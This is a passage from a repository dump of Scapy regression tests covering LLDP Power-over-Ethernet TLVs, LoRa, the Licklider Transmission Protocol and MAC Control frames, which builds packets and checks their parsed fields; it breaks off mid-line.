sys_capabilities.reserved_4_available == 0 assert sys_capabilities.reserved_3_available == 0 assert sys_capabilities.reserved_2_available == 0 assert sys_capabilities.reserved_1_available == 0 assert sys_capabilities.two_port_mac_relay_available == 0 assert sys_capabilities.s_vlan_component_available == 0 assert sys_capabilities.c_vlan_component_available == 0 assert sys_capabilities.station_only_available == 0 assert sys_capabilities.docsis_cable_device_available == 0 assert sys_capabilities.telephone_available == 1 assert sys_capabilities.router_available == 1 assert sys_capabilities.wlan_access_point_available == 0 assert sys_capabilities.mac_bridge_available == 0 assert sys_capabilities.repeater_available == 0 assert sys_capabilities.other_available == 0 assert sys_capabilities.reserved_5_enabled == 0 assert sys_capabilities.reserved_4_enabled == 0 assert sys_capabilities.reserved_3_enabled == 0 assert sys_capabilities.reserved_2_enabled == 0 assert sys_capabilities.reserved_1_enabled == 0 assert sys_capabilities.two_port_mac_relay_enabled == 0 assert sys_capabilities.s_vlan_component_enabled == 0 assert sys_capabilities.c_vlan_component_enabled == 0 assert sys_capabilities.station_only_enabled == 0 assert sys_capabilities.docsis_cable_device_enabled == 0 assert sys_capabilities.telephone_enabled == 1 assert sys_capabilities.router_enabled == 1 assert sys_capabilities.wlan_access_point_enabled == 0 assert sys_capabilities.mac_bridge_enabled == 0 assert sys_capabilities.repeater_enabled == 0 assert sys_capabilities.other_enabled == 0 assert frm[LLDPDUManagementAddress].management_address == b'1.2.3.4' assert frm[LLDPDUSystemName].system_name == b'things will' assert frm[LLDPDUManagementAddress].object_id == b'burn' assert frm[LLDPDUSystemDescription].description == b'without tests.' assert frm[LLDPDUPortDescription].description == b'always!' + organisation specific layers = ThreeBytesEnumField tests three_b_enum_field = ThreeBytesEnumField('test', 0x00, { 0x0e: 'fourteen', 0x00: 'zero', 0x5566: 'five-six', 0x0e0000: 'fourteen-zero-zero', 0x0e0100: 'fourteen-one-zero', 0x112233: '1#2#3' }) assert three_b_enum_field.i2repr(None, 0) == 'zero' assert three_b_enum_field.i2repr(None, 0x0e) == 'fourteen' assert three_b_enum_field.i2repr(None, 0x5566) == 'five-six' assert three_b_enum_field.i2repr(None, 0x112233) == '1#2#3' assert three_b_enum_field.i2repr(None, 0x0e0000) == 'fourteen-zero-zero' assert three_b_enum_field.i2repr(None, 0x0e0100) == 'fourteen-one-zero' assert three_b_enum_field.i2repr(None, 0x01) == '1' assert three_b_enum_field.i2repr(None, 0x49763) == '300899' = LLDPDUGenericOrganisationSpecific tests frm = Ether(src='01:01:01:01:01:01', dst=LLDP_NEAREST_BRIDGE_MAC)/\ LLDPDUChassisID(subtype=LLDPDUChassisID.SUBTYPE_MAC_ADDRESS, id=b'\x06\x05\x04\x03\x02\x01')/\ LLDPDUPortID(subtype=LLDPDUPortID.SUBTYPE_MAC_ADDRESS, id=b'\x01\x02\x03\x04\x05\x06')/\ LLDPDUTimeToLive()/\ LLDPDUGenericOrganisationSpecific(org_code=LLDPDUGenericOrganisationSpecific.ORG_UNIQUE_CODE_PNO, subtype=0x42, data=b'FooBar'*5 )/\ LLDPDUEndOfLLDPDU() frm = frm.build() frm = Ether(frm) org_spec_layer = frm[LLDPDUGenericOrganisationSpecific] assert org_spec_layer assert org_spec_layer._type == 127 assert org_spec_layer.org_code == LLDPDUGenericOrganisationSpecific.ORG_UNIQUE_CODE_PNO assert org_spec_layer.subtype == 0x42 assert org_spec_layer._length == 34 l="A" * 24 c=LLDPDUChassisID.SUBTYPE_CHASSIS_COMPONENT p=LLDPDUPortID.SUBTYPE_MAC_ADDRESS frm = Ether(dst=LLDP_NEAREST_BRIDGE_MAC)/ \ LLDPDUChassisID(subtype=c, id=l)/ \ LLDPDUPortID(subtype=p, id=l)/ \ LLDPDUTimeToLive(ttl=2)/ \ LLDPDUEndOfLLDPDU() try: frm = frm.build() except: assert False + Power via MDI ~ tshark = Define check_tshark function def check_tshark(pkt, frame_type, selector): import tempfile, os fd, pcapfilename = tempfile.mkstemp() wrpcap(pcapfilename, pkt) rv = tcpdump(pcapfilename, prog=conf.prog.tshark, getfd=True, args=['-Y', frame_type, '-T', 'fields', '-e', selector], dump=True, wait=True) os.close(fd) os.unlink(pcapfilename) return rv.decode("utf8").strip() = Power via MDI tests frm = Ether(src='01:01:01:01:01:01', dst=LLDP_NEAREST_BRIDGE_MAC)/\ LLDPDUChassisID(subtype=LLDPDUChassisID.SUBTYPE_MAC_ADDRESS, id=b'\x06\x05\x04\x03\x02\x01')/\ LLDPDUPortID(subtype=LLDPDUPortID.SUBTYPE_MAC_ADDRESS, id=b'\x01\x02\x03\x04\x05\x06')/\ LLDPDUTimeToLive()/\ LLDPDUGenericOrganisationSpecific(org_code=LLDPDUGenericOrganisationSpecific.ORG_UNIQUE_CODE_PNO, subtype=0x42, data=b'FooBar'*5 )/\ LLDPDUPowerViaMDI(MDI_power_support='PSE MDI power enabled+PSE MDI power supported', PSE_power_pair='alt B', power_class='class 3')/\ LLDPDUEndOfLLDPDU() frm = frm.build() frm = Ether(frm) poe_layer = frm[LLDPDUPowerViaMDI] # Legacy PoE TLV is not supported by WireShark assert poe_layer assert poe_layer._type == 127 assert int(check_tshark(frm, "lldp", "lldp.tlv.type").split(',')[-2], 0) == 127 assert poe_layer.org_code == LLDPDUGenericOrganisationSpecific.ORG_UNIQUE_CODE_IEEE_802_3 assert int(check_tshark(frm, "lldp", "lldp.orgtlv.oui").split(',')[-1], 0) == 4623 assert poe_layer.subtype == 2 assert int(check_tshark(frm, "lldp", "lldp.ieee.802_3.subtype"), 0) == 0x02 assert poe_layer._length == 7 assert int(check_tshark(frm, "lldp", "lldp.tlv.len").split(',')[-2], 0) == 7 assert poe_layer.MDI_power_support == 6 assert int(check_tshark(frm, "lldp", "lldp.ieee.802_3.mdi_power_support"), 0) == 6 assert poe_layer.PSE_power_pair == 2 assert int(check_tshark(frm, "lldp", "lldp.ieee.802_3.mdi_pse_pair"), 0) == 2 assert poe_layer.power_class == 4 assert int(check_tshark(frm, "lldp", "lldp.ieee.802_3.mdi_power_class"), 0) == 4 frm = Ether(src='01:01:01:01:01:01', dst=LLDP_NEAREST_BRIDGE_MAC)/\ LLDPDUChassisID(subtype=LLDPDUChassisID.SUBTYPE_MAC_ADDRESS, id=b'\x06\x05\x04\x03\x02\x01')/\ LLDPDUPortID(subtype=LLDPDUPortID.SUBTYPE_MAC_ADDRESS, id=b'\x01\x02\x03\x04\x05\x06')/\ LLDPDUTimeToLive()/\ LLDPDUGenericOrganisationSpecific(org_code=LLDPDUGenericOrganisationSpecific.ORG_UNIQUE_CODE_PNO, subtype=0x42, data=b'FooBar'*5 ) # invalid length try: Ether((frm/ LLDPDUPowerViaMDI(_length=8)/ LLDPDUEndOfLLDPDU()).build()) assert False except LLDPInvalidLengthField: pass = Power via MDI with DDL classification extension tests frm = Ether(src='01:01:01:01:01:01', dst=LLDP_NEAREST_BRIDGE_MAC)/\ LLDPDUChassisID(subtype=LLDPDUChassisID.SUBTYPE_MAC_ADDRESS, id=b'\x06\x05\x04\x03\x02\x01')/\ LLDPDUPortID(subtype=LLDPDUPortID.SUBTYPE_MAC_ADDRESS, id=b'\x01\x02\x03\x04\x05\x06')/\ LLDPDUTimeToLive()/\ LLDPDUGenericOrganisationSpecific(org_code=LLDPDUGenericOrganisationSpecific.ORG_UNIQUE_CODE_PNO, subtype=0x42, data=b'FooBar'*5 )/\ LLDPDUPowerViaMDIDDL(MDI_power_support='PSE pairs controlled+PSE MDI power enabled', PSE_power_pair='alt A', power_class='class 4 and above', power_type_no='type 2', power_type_dir='PSE', power_source='backup source', power_prio='high', PD_requested_power=2.21111, PSE_allocated_power=1.521212121)/\ LLDPDUEndOfLLDPDU() frm = frm.build() frm = Ether(frm) poe_layer = frm[LLDPDUPowerViaMDIDDL] assert poe_layer assert poe_layer._type == 127 assert int(check_tshark(frm, "lldp", "lldp.tlv.type").split(',')[-2], 0) == 127 assert poe_layer.org_code == LLDPDUGenericOrganisationSpecific.ORG_UNIQUE_CODE_IEEE_802_3 assert int(check_tshark(frm, "lldp", "lldp.orgtlv.oui").split(',')[-1], 0) == 4623 assert poe_layer.subtype == 2 assert int(check_tshark(frm, "lldp", "lldp.ieee.802_3.subtype"), 0) == 0x02 assert poe_layer._length == 12 assert int(check_tshark(frm, "lldp", "lldp.tlv.len").split(',')[-2], 0) == 12 assert poe_layer.MDI_power_support == 12 assert int(check_tshark(frm, "lldp", "lldp.ieee.802_3.mdi_power_support"), 0) == 12 assert poe_layer.PSE_power_pair == 1 assert int(check_tshark(frm, "lldp", "lldp.ieee.802_3.mdi_pse_pair"), 0) == 1 # NOTE: wireshark mixes power_prio and PD_4PID fields. Result will be incerrect if PD_4PID==1 assert poe_layer.power_class == 5 assert int(check_tshark(frm, "lldp", "lldp.ieee.802_3.mdi_power_class"), 0) == 5 assert poe_layer.power_type_no == 0 assert poe_layer.power_type_dir == 0 assert int(check_tshark(frm, "lldp", "lldp.ieee.802_3.mdi_power_type"), 0) == 0 assert poe_layer.power_source == 0b10 assert int(check_tshark(frm, "lldp", "lldp.ieee.802_3.mdi_power_source"), 0) == 0b10 assert poe_layer.power_prio == 0b10 assert int(check_tshark(frm, "lldp", "lldp.ieee.802_3.mdi_power_priority"), 0) == 0b10 assert poe_layer.PD_requested_power == 2.2 assert int(check_tshark(frm, "lldp", "lldp.ieee.802_3.mdi_pde_requested"), 0) == 22 assert poe_layer.PSE_allocated_power == 1.5 assert int(check_tshark(frm, "lldp", "lldp.ieee.802_3.mdi_pse_allocated"), 0) == 15 frm = Ether(src='01:01:01:01:01:01', dst=LLDP_NEAREST_BRIDGE_MAC)/\ LLDPDUChassisID(subtype=LLDPDUChassisID.SUBTYPE_MAC_ADDRESS, id=b'\x06\x05\x04\x03\x02\x01')/\ LLDPDUPortID(subtype=LLDPDUPortID.SUBTYPE_MAC_ADDRESS, id=b'\x01\x02\x03\x04\x05\x06')/\ LLDPDUTimeToLive()/\ LLDPDUGenericOrganisationSpecific(org_code=LLDPDUGenericOrganisationSpecific.ORG_UNIQUE_CODE_PNO, subtype=0x42, data=b'FooBar'*5 ) # invalid length try: Ether((frm/ LLDPDUPowerViaMDIDDL(_length=8)/ LLDPDUEndOfLLDPDU()).build()) assert False except LLDPInvalidLengthField: pass # invalid power try: Ether((frm/ LLDPDUPowerViaMDIDDL(PD_requested_power=100)/ LLDPDUEndOfLLDPDU()).build()) assert False except LLDPInvalidFieldValue: pass try: Ether((frm/ LLDPDUPowerViaMDIDDL(PSE_allocated_power=100)/ LLDPDUEndOfLLDPDU()).build()) assert False except LLDPInvalidFieldValue: pass = Power via MDI with DDL classification and Type 3 and 4 extensions tests frm = Ether(src='01:01:01:01:01:01', dst=LLDP_NEAREST_BRIDGE_MAC)/\ LLDPDUChassisID(subtype=LLDPDUChassisID.SUBTYPE_MAC_ADDRESS, id=b'\x06\x05\x04\x03\x02\x01')/\ LLDPDUPortID(subtype=LLDPDUPortID.SUBTYPE_MAC_ADDRESS, id=b'\x01\x02\x03\x04\x05\x06')/\ LLDPDUTimeToLive()/\ LLDPDUGenericOrganisationSpecific(org_code=LLDPDUGenericOrganisationSpecific.ORG_UNIQUE_CODE_PNO, subtype=0x42, data=b'FooBar'*5 )/\ LLDPDUPowerViaMDIType34(MDI_power_support='port class PSE+PSE pairs controlled+PSE MDI power enabled', PSE_power_pair='alt B', power_class='class 2', power_type_no='type 1', power_type_dir='PD', power_source='PSE and local', PD_4PID='not supported', power_prio='low', PD_requested_power=12.21111, PSE_allocated_power=11.521212121, PD_requested_power_mode_A=2.3, PD_requested_power_mode_B=3.3, PD_allocated_power_alt_A=3.1, PD_allocated_power_alt_B=0.5, PSE_powering_status='4-pair powering single-signature PD', PD_powered_status='powered single-signature PD', PD_power_pair_ext='both alts', dual_signature_class_mode_A='class 4', dual_signature_class_mode_B='class 2', power_class_ext='dual-signature pd', power_type_ext='type 4 single-signature PD', PD_load='dual-signature and electrically isolated', PSE_max_available_power=33.333, autoclass='autoclass completed+autoclass request', power_down_req='power down', power_down_time=123)/\ LLDPDUEndOfLLDPDU() frm = frm.build() frm = Ether(frm) poe_layer = frm[LLDPDUPowerViaMDIType34] assert poe_layer assert poe_layer._type == 127 assert int(check_tshark(frm, "lldp", "lldp.tlv.type").split(',')[-2], 0) == 127 assert poe_layer.org_code == LLDPDUGenericOrganisationSpecific.ORG_UNIQUE_CODE_IEEE_802_3 assert int(check_tshark(frm, "lldp", "lldp.orgtlv.oui").split(',')[-1], 0) == 4623 assert poe_layer.subtype == 2 assert int(check_tshark(frm, "lldp", "lldp.ieee.802_3.subtype"), 0) == 0x02 assert poe_layer._length == 29 assert int(check_tshark(frm, "lldp", "lldp.tlv.len").split(',')[-2], 0) == 29 assert poe_layer.MDI_power_support == 13 assert int(check_tshark(frm, "lldp", "lldp.ieee.802_3.mdi_power_support"), 0) == 13 assert poe_layer.PSE_power_pair == 2 assert int(check_tshark(frm, "lldp", "lldp.ieee.802_3.mdi_pse_pair"), 0) == 2 # NOTE: wireshark mixes power_prio and PD_4PID fields. Result will be incerrect if PD_4PID==1 assert poe_layer.PD_4PID == 0 assert poe_layer.power_class == 3 assert int(check_tshark(frm, "lldp", "lldp.ieee.802_3.mdi_power_class"), 0) == 3 assert poe_layer.power_type_no == 1 assert poe_layer.power_type_dir == 1 assert int(check_tshark(frm, "lldp", "lldp.ieee.802_3.mdi_power_type"), 0) == 3 assert poe_layer.power_source == 0b11 assert int(check_tshark(frm, "lldp", "lldp.ieee.802_3.mdi_power_source"), 0) == 0b11 assert poe_layer.power_prio == 0b11 assert int(check_tshark(frm, "lldp", "lldp.ieee.802_3.mdi_power_priority"), 0) == 0b11 assert poe_layer.PD_requested_power == 12.2 assert int(check_tshark(frm, "lldp", "lldp.ieee.802_3.mdi_pde_requested"), 0) == 122 assert poe_layer.PSE_allocated_power == 11.5 assert int(check_tshark(frm, "lldp", "lldp.ieee.802_3.mdi_pse_allocated"), 0) == 115 assert poe_layer.PD_requested_power_mode_A == 2.3 assert int(check_tshark(frm, "lldp", "lldp.ieee.802_3.bt_ds_pd_requested_power_value_mode_a"), 0) == 23 assert poe_layer.PD_requested_power_mode_B == 3.3 assert int(check_tshark(frm, "lldp", "lldp.ieee.802_3.bt_ds_pd_requested_power_value_mode_b"), 0) == 33 assert poe_layer.PD_allocated_power_alt_A == 3.1 assert int(check_tshark(frm, "lldp", "lldp.ieee.802_3.bt_ds_pse_allocated_power_value_alt_a"), 0) == 31 assert poe_layer.PD_allocated_power_alt_B == 0.5 assert int(check_tshark(frm, "lldp", "lldp.ieee.802_3.bt_ds_pse_allocated_power_value_alt_b"), 0) == 5 assert poe_layer.PSE_powering_status == 2 assert int(check_tshark(frm, "lldp", "lldp.ieee.802_3.bt_pse_powering_status"), 0) == 2 assert poe_layer.PD_powered_status == 1 assert int(check_tshark(frm, "lldp", "lldp.ieee.802_3.bt_pd_powered_status"), 0) == 1 assert poe_layer.PD_power_pair_ext == 3 assert int(check_tshark(frm, "lldp", "lldp.ieee.802_3.bt_pse_power_pairs_ext"), 0) == 3 assert poe_layer.dual_signature_class_mode_A == 4 assert int(check_tshark(frm, "lldp", "lldp.ieee.802_3.bt_ds_pwr_class_ext_a"), 0) == 4 assert poe_layer.dual_signature_class_mode_B == 2 assert int(check_tshark(frm, "lldp", "lldp.ieee.802_3.bt_ds_pwr_class_ext_b"), 0) == 2 assert poe_layer.power_class_ext == 15 assert int(check_tshark(frm, "lldp", "lldp.ieee.802_3.bt_pwr_class_ext_"), 0) == 15 assert poe_layer.power_type_ext == 4 assert int(check_tshark(frm, "lldp", "lldp.ieee.802_3.bt_power_type_ext"), 0) == 4 assert poe_layer.PD_load == 1 assert poe_layer.PSE_max_available_power == 33.3 assert int(check_tshark(frm, "lldp", "lldp.ieee.802_3.bt_pse_maximum_available_power_value"), 0) == 333 assert poe_layer.autoclass == 3 assert int(check_tshark(frm, "lldp", "lldp.ieee.802_3.bt_autoclass"), 0) == 3 assert poe_layer.power_down_req == 0x1d assert int(check_tshark(frm, "lldp", "lldp.ieee.802_3.bt_power_down_request"), 0) == 0x1d assert poe_layer.power_down_time == 123 assert int(check_tshark(frm, "lldp", "lldp.ieee.802_3.bt_power_down_time"), 0) == 123 frm = Ether(src='01:01:01:01:01:01', dst=LLDP_NEAREST_BRIDGE_MAC)/\ LLDPDUChassisID(subtype=LLDPDUChassisID.SUBTYPE_MAC_ADDRESS, id=b'\x06\x05\x04\x03\x02\x01')/\ LLDPDUPortID(subtype=LLDPDUPortID.SUBTYPE_MAC_ADDRESS, id=b'\x01\x02\x03\x04\x05\x06')/\ LLDPDUTimeToLive()/\ LLDPDUGenericOrganisationSpecific(org_code=LLDPDUGenericOrganisationSpecific.ORG_UNIQUE_CODE_PNO, subtype=0x42, data=b'FooBar'*5 ) # invalid length try: Ether((frm/ LLDPDUPowerViaMDIType34(_length=8)/ LLDPDUEndOfLLDPDU()).build()) assert False except LLDPInvalidLengthField: pass # invalid power try: Ether((frm/ LLDPDUPowerViaMDIType34(PD_requested_power=100)/ LLDPDUEndOfLLDPDU()).build()) assert False except LLDPInvalidFieldValue: pass try: Ether((frm/ LLDPDUPowerViaMDIType34(PSE_allocated_power=100)/ LLDPDUEndOfLLDPDU()).build()) assert False except LLDPInvalidFieldValue: pass try: Ether((frm/ LLDPDUPowerViaMDIType34(PD_requested_power_mode_A=50)/ LLDPDUEndOfLLDPDU()).build()) assert False except LLDPInvalidFieldValue: pass try: Ether((frm/ LLDPDUPowerViaMDIType34(PD_requested_power_mode_B=50)/ LLDPDUEndOfLLDPDU()).build()) assert False except LLDPInvalidFieldValue: pass try: Ether((frm/ LLDPDUPowerViaMDIType34(PD_allocated_power_alt_A=50)/ LLDPDUEndOfLLDPDU()).build()) assert False except LLDPInvalidFieldValue: pass try: Ether((frm/ LLDPDUPowerViaMDIType34(PD_allocated_power_alt_B=50)/ LLDPDUEndOfLLDPDU()).build()) assert False except LLDPInvalidFieldValue: pass try: Ether((frm/ LLDPDUPowerViaMDIType34(PSE_max_available_power=100)/ LLDPDUEndOfLLDPDU()).build()) assert False except LLDPInvalidFieldValue: pass # invalid time try: Ether((frm/ LLDPDUPowerViaMDIType34(power_down_time=(1<<18))/ LLDPDUEndOfLLDPDU()).build()) assert False except LLDPInvalidFieldValue: pass = Power via MDI measurements tests import struct frm = Ether(src='01:01:01:01:01:01', dst=LLDP_NEAREST_BRIDGE_MAC)/\ LLDPDUChassisID(subtype=LLDPDUChassisID.SUBTYPE_MAC_ADDRESS, id=b'\x06\x05\x04\x03\x02\x01')/\ LLDPDUPortID(subtype=LLDPDUPortID.SUBTYPE_MAC_ADDRESS, id=b'\x01\x02\x03\x04\x05\x06')/\ LLDPDUTimeToLive()/\ LLDPDUGenericOrganisationSpecific(org_code=LLDPDUGenericOrganisationSpecific.ORG_UNIQUE_CODE_PNO, subtype=0x42, data=b'FooBar'*5 )/\ LLDPDUPowerViaMDIMeasure(support='power+current', source='mode B', request='energy+voltage+current', valid='power', voltage_uncertainty=52.25, current_uncertainty=3.211, power_uncertainty=140, energy_uncertainty=2600, voltage_measurement=22.123, current_measurement=3.2121, power_measurement=123.12, energy_measurement=21123400, power_price_index='not available')/\ LLDPDUEndOfLLDPDU() frm = frm.build() frm = Ether(frm) poe_layer = frm[LLDPDUPowerViaMDIMeasure] poe_layer_raw = raw(poe_layer) # PoE measure TLV is not supported by WireShark assert poe_layer assert poe_layer._type == 127 assert poe_layer.org_code == LLDPDUGenericOrganisationSpecific.ORG_UNIQUE_CODE_IEEE_802_3 assert poe_layer.subtype == 8 assert poe_layer._length == 26 assert poe_layer.support == 0b0110 assert poe_layer.source == 0b10 assert poe_layer.request == 0b1101 assert poe_layer.valid == 0b0010 assert poe_layer.voltage_uncertainty == 52.25 assert struct.unpack(">H", poe_layer_raw[8:10])[0] == 52250 assert poe_layer.current_uncertainty == 3.211 assert struct.unpack(">H", poe_layer_raw[10:12])[0] == 32110 assert poe_layer.power_uncertainty == 140 assert struct.unpack(">H", poe_layer_raw[12:14])[0] == 14000 assert poe_layer.energy_uncertainty == 2600 assert struct.unpack(">H", poe_layer_raw[14:16])[0] == 26 assert poe_layer.voltage_measurement == 22.123 assert struct.unpack(">H", poe_layer_raw[16:18])[0] == 22123 assert poe_layer.current_measurement == 3.2121 assert struct.unpack(">H", poe_layer_raw[18:20])[0] == 32121 assert poe_layer.power_measurement == 123.12 assert struct.unpack(">H", poe_layer_raw[20:22])[0] == 12312 assert poe_layer.energy_measurement == 21123400 assert struct.unpack(">I", poe_layer_raw[22:26])[0] == 211234 assert poe_layer.power_price_index == 0xffff frm = Ether(src='01:01:01:01:01:01', dst=LLDP_NEAREST_BRIDGE_MAC)/\ LLDPDUChassisID(subtype=LLDPDUChassisID.SUBTYPE_MAC_ADDRESS, id=b'\x06\x05\x04\x03\x02\x01')/\ LLDPDUPortID(subtype=LLDPDUPortID.SUBTYPE_MAC_ADDRESS, id=b'\x01\x02\x03\x04\x05\x06')/\ LLDPDUTimeToLive()/\ LLDPDUGenericOrganisationSpecific(org_code=LLDPDUGenericOrganisationSpecific.ORG_UNIQUE_CODE_PNO, subtype=0x42, data=b'FooBar'*5 ) # invalid length try: Ether((frm/ LLDPDUPowerViaMDIMeasure(_length=8)/ LLDPDUEndOfLLDPDU()).build()) assert False except LLDPInvalidLengthField: pass # invalid voltage try: Ether((frm/ LLDPDUPowerViaMDIMeasure(voltage_uncertainty=500)/ LLDPDUEndOfLLDPDU()).build()) assert False except LLDPInvalidFieldValue: pass try: Ether((frm/ LLDPDUPowerViaMDIMeasure(voltage_measurement=500)/ LLDPDUEndOfLLDPDU()).build()) assert False except LLDPInvalidFieldValue: pass # invalid current try: Ether((frm/ LLDPDUPowerViaMDIMeasure(current_uncertainty=500)/ LLDPDUEndOfLLDPDU()).build()) assert False except LLDPInvalidFieldValue: pass try: Ether((frm/ LLDPDUPowerViaMDIMeasure(current_measurement=500)/ LLDPDUEndOfLLDPDU()).build()) assert False except LLDPInvalidFieldValue: pass # invalid energy try: Ether((frm/ LLDPDUPowerViaMDIMeasure(energy_uncertainty=66000000)/ LLDPDUEndOfLLDPDU()).build()) assert False except LLDPInvalidFieldValue: pass # invalid power try: Ether((frm/ LLDPDUPowerViaMDIMeasure(power_uncertainty=5000)/ LLDPDUEndOfLLDPDU()).build()) assert False except LLDPInvalidFieldValue: pass try: Ether((frm/ LLDPDUPowerViaMDIMeasure(power_measurement=5000)/ LLDPDUEndOfLLDPDU()).build()) assert False except LLDPInvalidFieldValue: pass # invalid power price index try: Ether((frm/ LLDPDUPowerViaMDIMeasure(power_price_index=150)/ LLDPDUEndOfLLDPDU()).build()) assert False except LLDPInvalidFieldValue: pass ================================================ FILE: test/contrib/loraphy2wan.uts ================================================ % Regression tests for Scapy +Syntax check = Import the loraphy2wan layer from scapy.contrib.loraphy2wan import * from scapy.compat import raw # LoRa PHY to WAN ############ ############ + Basic tests * Those test are here mainly to check nothing has been broken = Packet decoding ~ field p = b'\x00\x00\x00\x00lovecafemeeetoo\x00iiS\x02LI' pkt = LoRa(p) assert pkt.Join_Request_Field[0].DevEUI == b'meeetoo\x00' assert pkt.Join_Request_Field[0].DevNonce == 26985 p = b'\x0f0P@\xad\x15\x00`\x80\x06\x00\t\xca\xfe\x0c\x1d\x8d\x04\\\xb5' pkt = LoRa(p) assert pkt.MType == 2 assert pkt.DataPayload == b'\xca\xfe' assert pkt.FCnt == 6 assert pkt.FPort == 9 assert pkt.FCtrl[0].ADR == 1 assert pkt.DevAddr[0].NwkID == 0xad assert pkt.DevAddr[0].NwkAddr == 0x600015 p = b'\x0f0P\x80\xad\x15\x00`\x00\x01\x00\t\xca\xfe:\x98\x89|\x8f\xd4' pkt = LoRa(p) assert pkt.MType == 4 = Decoding an encrypted JA packet LoRa.encrypted = True p = b'\x00\x00\x00 \x086\xe2\x87\xa9\x80\\\xb7\xee\x9e_\xff|\x9e\xe9z' pkt = LoRa(p) assert pkt.Join_Accept_Encrypted == b'\x086\xe2\x87\xa9\x80\\\xb7\xee\x9e_\xff|\x9e\xe9z' = Packet crafting: generating an unencrypted JA frame ja = Join_Accept() ja.JoinAppNonce=0x6fe14a ja.NetID = 0x10203 ja.DevAddr = 0x68e8cb1 assert raw(ja) == b'J\xe1o\x03\x02\x01\xb1\x8c\x8e\x06\x00\x00' = Generating an unencrypted LoRa JA packet LoRa.encrypted = False pkt = LoRa(MType=0b001) pkt.Join_Accept_Field = [ja] assert raw(pkt) == b'\x00\x00\x00 J\xe1o\x03\x02\x01\xb1\x8c\x8e\x06\x00\x00\x00\x00\x00\x00' = Parsing Piggy back commands p = b'\r0\xc0\x80\xad\x15\x00`\x01\x01\x00\x02\xc0\xe3N\xb7\xc7\xae' pkt = LoRa(p) assert pkt.FOpts_up[0].CID == 2 ================================================ FILE: test/contrib/ltp.uts ================================================ % Licklider Transmission Protocol tests ############ ############ + Licklider Transmission Protocol (LTP) basic tests ~ TODO: no pcap have been found on Internet. Check that scapy correctly decode those too = Build packets & dissect load_contrib("ltp") pkt = Ether(src="aa:aa:aa:aa:aa:aa", dst="bb:bb:bb:bb:bb:bb")/IP(src="192.168.0.1", dst="192.168.0.2")/UDP()/LTP(flags=8,\ SessionOriginator=2, SessionNumber=113, ReportCheckpointSerialNo=12, ReportUpperBound=0, ReportLowerBound=5, ReportReceptionClaims=[ LTPReceptionClaim(ReceptionClaimOffset=1, ReceptionClaimLength=4), LTPReceptionClaim(ReceptionClaimOffset=2, ReceptionClaimLength=3), ], HeaderExtensions=[ LTPex(ExTag=1, ExData=b"\x00"), ], TrailerExtensions=[ LTPex(ExTag=0, ExData=b"\x01"), LTPex(ExTag=1, ExData=b"\x02"), ]) pkt = Ether(raw(pkt)) assert LTP in pkt assert pkt[LTP].ReportLowerBound == 5 assert pkt[LTP].ReportCheckpointSerialNo == 12 assert pkt[LTP].ReportReceptionClaims[0].ReceptionClaimLength == 4 assert pkt[LTP].ReportReceptionClaims[1].ReceptionClaimOffset == 2 assert pkt[LTP].HeaderExtensions[0].ExTag == 1 assert pkt[LTP].HeaderExtensions[0].ExData == b"\x00" s = pkt.summary() s assert s.replace("ltp_deepspace", "1113") == 'Ether / IP / UDP 192.168.0.1:1113 > 192.168.0.2:1113 / LTP 113' ================================================ FILE: test/contrib/mac_control.uts ================================================ % MACControl test campaign # # execute test: # $ test/run_tests -P "load_contrib('mac_control')" -t test/contrib/mac_control.uts # + Basic layer handling = pause frame frm = Ether(src='00:01:01:01:01:01', dst=MACControl.DEFAULT_DST_MAC)/\ MACControlPause(pause_time=0x1234) frm = Ether(frm.do_build()) pause_layer = frm[MACControlPause] assert pause_layer.pause_time == 0x1234 assert pause_layer.get_pause_time(ETHER_SPEED_MBIT_10) == 0.238592 = gate frame frm = Ether(src='00:01:01:01:01:01', dst=MACControl.DEFAULT_DST_MAC)/\ MACControlGate(timestamp=0x12345678) frm = Ether(frm.do_build()) gate_layer = frm[MACControlGate] assert gate_layer.timestamp == 0x12345678 = report frame frm = Ether(src='00:01:01:01:01:01', dst=MACControl.DEFAULT_DST_MAC)/\ MACControlReport(timestamp=0x12345678, pending_grants=0x23) frm = Ether(frm.do_build()) report_layer = frm[MACControlReport] assert report_layer.timestamp == 0x12345678 assert report_layer.pending_grants == 0x23 = report frame flags (generic for all other register frame types) for flag in MACControl.REGISTER_FLAGS: frm = Ether(src='00:01:01:01:01:01', dst=MACControl.DEFAULT_DST_MAC) / \ MACControlReport(timestamp=0x12345678, flags=flag) frm = Ether(frm.do_build()) report_layer = frm[MACControlReport] assert report_layer.flags == flag = register_req frame frm = Ether(src='00:01:01:01:01:01', dst=MACControl.DEFAULT_DST_MAC)/\ MACControlRegisterReq(timestamp=0x87654321, echoed_pending_grants=0x12, sync_time=0x3344, assigned_port=0x7766) frm = Ether(frm.do_build()) register_req_layer = frm[MACControlRegisterReq] assert register_req_layer.timestamp == 0x87654321 assert (register_req_layer.echoed_pending_grants == 0x12) assert (register_req_layer.sync_time == 0x3344) assert (register_req_layer.assigned_port == 0x7766) = register frame frm = Ether(src='00:01:01:01:01:01', dst=MACControl.DEFAULT_DST_MAC)/\ MACControlRegister(timestamp=0x11223344, echoed_assigned_port=0x2277, echoed_sync_time=0x3399) frm = Ether(frm.do_build()) register_layer = frm[MACControlRegister] assert register_layer.timestamp == 0x11223344 assert register_layer.echoed_assigned_port == 0x2277 assert register_layer.echoed_sync_time == 0x3399 = register_ack frame frm = Ether(src='00:01:01:01:01:01', dst=MACControl.DEFAULT_DST_MAC)/\ MACControlRegisterAck(timestamp=0x11223344, echoed_assigned_port=0x2277, echoed_sync_time=0x3399) frm = Ether(frm.do_build()) register_ack_layer = frm[MACControlRegisterAck] assert register_ack_layer.timestamp == 0x11223344 assert register_ack_layer.echoed_assigned_port == 0x2277 assert register_ack_layer.echoed_sync_time == 0x3399 = class based flow control frame frm = Ether(src='00:01:01:01:01:01', dst=MACControl.DEFAULT_DST_MAC)/ \ MACControlClassBasedFlowControl(c0_enabled=1, c0_pause_time=0x4321, c5_enabled=1, c5_pause_time=0x1234) frm = Ether(frm.do_build()) cbfc_layer = frm[MACControlClassBasedFlowControl] assert cbfc_layer.c0_enabled assert cbfc_layer.c0_pause_time == 0x4321 assert cbfc_layer.c5_enabled assert cbfc_layer.c5_pause_time == 0x1234 assert not cbfc_layer.c1_enabled assert cbfc_layer.c1_pause_time == 0 assert not cbfc_layer.c7_enabled assert cbfc_layer.c7_pause_time == 0 assert cbfc_layer._reserved == 0 + test padding = naked frame frm = Ether(src='00:01:01:01:01:01', dst=MACControl.DEFAULT_DST_MAC) / \ MACControlRegisterAck(timestamp=0x12345678) frm = frm.do_build() assert len(frm) == 60 = single vlan tag frm = Ether(src='00:01:01:01:01:01', 